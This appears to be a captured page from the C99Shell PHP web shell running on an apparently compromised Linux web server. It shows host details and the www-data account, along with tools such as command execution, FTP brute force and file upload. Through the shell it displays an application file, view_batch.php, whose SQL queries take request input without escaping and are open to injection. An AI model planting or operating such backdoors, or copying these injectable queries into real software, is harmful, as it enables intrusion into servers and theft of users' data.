!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/admin/api/   drwxrwxr-x
Free 39.79 GB of 48.28 GB (82.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     view_batch.php (1.7 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
 
require("connection.php");
$userid=$_REQUEST['user_id'];
$data=array();
$sqldata="select * from tb_user where user_id='$userid' and delete_status=0";
$resultdata=$con_it->query($sqldata);
$countdata=$resultdata->num_rows;
if(
$countdata>0){
    
$row=$resultdata->fetch_assoc();
$phone=$row['phone'];
$query="SELECT *
FROM `user_details`
INNER JOIN enrolldetails ON user_details.user_id=enrolldetails.user_id  where user_details.phone='
$phone'";
$queryResult=$con->query($query);
$queryCount=$queryResult->num_rows;
if(
$queryCount>0){
while(
$queryRow=$queryResult->fetch_assoc()){
    
$course_id=$queryRow['course_id'];
    
$coursequery="SELECT * FROM `course_details` where id=$course_id";
    
$courseResult=$con->query($coursequery);
    
$courseRow=$courseResult->fetch_assoc();
    
$technology=$courseRow['technology'];

    
$result=$con->query("select * from `technologies` where id=$technology");
$count=$result->num_rows;
if(
$count>0)
{while(
$row=$result->fetch_assoc())
{
    

                  
$data[] =array(
                    
"batch_id" => $row['id'],
                    
"batch_name" => $row['name']                      );                 
$post = array("status"=>true,"batch_details"=>$data);


}
}
}

}
else{
    
$result=$con->query("select * from `technologies`");
$count=$result->num_rows;
if(
$count>0)
{while(
$row=$result->fetch_assoc())
{
    

                  
$data[] =array(
                    
"batch_id" => $row['id'],
                    
"batch_name" => $row['name']                      );                 
$post = array("status"=>true,"batch_details"=>$data);


}
}
}

}
 else {
    
$post=array("status"=>false,"batch_details"=>$data);
}

echo(
json_encode($post));

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0056 ]--